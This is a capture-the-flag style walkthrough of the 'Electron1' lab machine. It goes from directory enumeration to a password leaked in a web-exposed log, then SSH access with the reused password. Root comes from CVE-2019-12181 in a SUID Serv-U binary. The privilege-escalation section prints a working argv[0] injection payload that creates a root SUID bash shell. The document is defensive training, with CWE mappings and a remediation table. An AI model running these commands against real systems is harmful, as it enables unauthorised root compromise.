Electron1
- Vulnerability
- Exposed log → leaked creds → SSH → SUID Serv-U (CVE-2019-12181)
- Impact
- Full compromise — user and root flags captured (2/2)
- Tools
- nmap, gobuster, curl, sshpass, searchsploit, gcc
- Given
- A single IP, no credentials
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Evidence |
|---|---|---|---|
| Discovery | Active Scanning: Wordlist Scanning | T1595.003 | gobuster found the /election/ app and a directory-listed /admin/logs/ |
| Credential Access | Unsecured Credentials: Credentials In Files | T1552.001 | A world-readable system.log disclosed a plaintext account password |
| Initial Access | Valid Accounts: Local Accounts / Remote Services: SSH | T1078.003 + T1021.004 | The leaked CMS password was reused for the system account over SSH |
| Privilege Escalation | Exploitation for Privilege Escalation | T1068 | CVE-2019-12181 — argv[0] command injection against a SUID-root Serv-U binary |
Vulnerability Analysis
Root Causes: An application wrote a credential into a log that was then served over the web, that credential was reused for a shell account, and a leftover SUID binary carried a known local-privilege-escalation CVE.
- CWE-532: Insertion of Sensitive Information into Log File — the eLection app logged a user's password in cleartext
- CWE-548: Exposure of Information Through Directory Listing — the
/admin/logs/directory was browsable, exposingsystem.log - CWE-522: Insufficiently Protected Credentials — the same password protected both the CMS and the SSH account
- CWE-78: Improper Neutralization of Special Elements used in an OS Command — CVE-2019-12181 in Serv-U < 15.1.7
Severity: The privilege-escalation step maps to CVE-2019-12181 — CVSS v3.1 base 7.8 (High). The information-disclosure and credential-reuse issues are lab misconfigurations with no scored CVSS; their combined effect is unauthenticated-to-root.
References:
CVE-2019-12181
CWE-532
CWE-548
CWE-522
Summary
Electron1 is a Linux host exposing SSH and an Apache server that hosts the eLection web
application. Directory brute-forcing uncovered the app's admin area with directory listing enabled
on its log folder; the exposed system.log contained a user's password in cleartext. That
password had been reused for the matching system account, so it logged straight in over SSH. From that
foothold, a non-standard SUID-root copy of the Serv-U file server (v15.1.6) was vulnerable
to CVE-2019-12181 — an argv[0] command injection via
-prepareinstallation — which produced a root shell.
Key insight: the whole foothold hinges on a single logged password. Applications that write secrets into logs, plus a webserver that lists those logs, is unauthenticated credential disclosure — no exploit required.
Recon
A service scan plus a full-port scan confirmed only SSH (22) and HTTP (80):
nmap -sC -sV <target>
nmap -p- --min-rate 5000 <target>
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 (Ubuntu) |
| 80 | HTTP | Apache 2.4.29 (Ubuntu) |
Web enumeration
The web root served only the default Apache page, but gobuster plus robots.txt pointed at an
/election/ directory. A phpinfo.php was also exposed, confirming a permissive PHP
config (allow_url_include = On, shell functions not disabled) — useful context, though the real
way in came from the app's logs.
gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt
gobuster dir -u http://<target>/election/admin/ -w /usr/share/wordlists/dirb/common.txt
The admin area's /logs/ directory had directory listing enabled, exposing a
single system.log.
Credential access — exposed log
Fetching the log revealed an account password written in cleartext by the application:
[2020-01-01 00:00:00] Assigned Password for the user love: <redacted>
[2020-04-03 00:13:53] Love added candidate 'Love'.
[2020-04-08 19:26:34] Love has been logged in ...
Why this matters: a password in a log file is a password in cleartext storage. Served over HTTP with no auth and directory listing on, it's handed to any visitor.
Initial access — SSH
The leaked CMS password was reused for the love system account, so SSH logged straight in and
the user flag was readable in the home directory:
sshpass -p '<redacted>' ssh -o StrictHostKeyChecking=no love@<target> 'id; cat ~/local.txt'
# uid=1000(love) ... groups=...,33(www-data),4(adm)
# <user flag redacted>
Privilege escalation — SUID Serv-U (CVE-2019-12181)
Enumerating SUID binaries surfaced a non-standard one: /usr/local/Serv-U/Serv-U, SUID root.
strings and a nearby installer confirmed Serv-U 15.1.6, which
searchsploit flagged as vulnerable to CVE-2019-12181:
find / -perm -4000 -type f 2>/dev/null
# ...
# /usr/local/Serv-U/Serv-U <=== SUID root, non-standard
searchsploit serv-u 15.1
# Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (CVE-2019-12181)
The vulnerability runs whatever is passed as argv[0] as a shell command when the binary is
invoked with -prepareinstallation. Because the binary is SUID root, that command runs as root.
Bash's exec -a sets argv[0] to a payload that makes a root-owned SUID copy of
bash:
/bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" \
/usr/local/Serv-U/Serv-U -prepareinstallation'
/tmp/sh -p -c 'id; cat /root/proof.txt'
# uid=1000(love) euid=0(root) ...
# <root flag redacted>
The "Permission denied" noise from the injected string is expected — the payload inside
argv[0] still executes as root, leaving a euid=0 shell that reads the root flag.
Note on method: a first attempt with LD_PRELOAD failed — the kernel strips
it for SUID binaries by design. The working primitive is the binary's own argv[0] handling,
not the environment.
Findings & remediation
| # | Finding | Severity | Remediation |
|---|---|---|---|
| 1 | Application logs a password in cleartext | High | Never log secrets; redact credentials before writing to any log |
| 2 | Directory listing enabled on /admin/logs/ | Medium | Disable auto-indexing (Options -Indexes); keep logs out of the webroot |
| 3 | CMS password reused for the SSH account | High | Unique credentials per system; enforce key-based SSH auth |
| 4 | Exposed phpinfo.php with permissive PHP config | Medium | Remove phpinfo from production; disable allow_url_include |
| 5 | SUID-root Serv-U 15.1.6 (CVE-2019-12181) | Critical | Patch to Serv-U ≥ 15.1.7 and remove the SUID bit; no file server needs SUID root |
Takeaways
- Logs are loot. The entire foothold was one line in a web-exposed log file.
- Reuse multiplies a single leak. One password opened both the app and the OS account.
- Read the exploit, don't just run it. The win was understanding why
LD_PRELOADfails on SUID and thatargv[0]was the real injection point.
References & Standards
- MITRE Framework
- MITRE ATT&CK — Adversary Tactics, Techniques, and Common Knowledge
- Vulnerability & Weakness
- CVE-2019-12181 — Serv-U < 15.1.7 Local Privilege Escalation
- CWE-532: Insertion of Sensitive Information into Log File
- CWE-548: Exposure of Information Through Directory Listing
- CWE-522: Insufficiently Protected Credentials
- Security Guidance
- GTFOBins — abusing SUID binaries and local privilege escalation
- OWASP Top 10 — Most Critical Web Application Security Risks
- CIS Benchmarks — Security Configuration Standards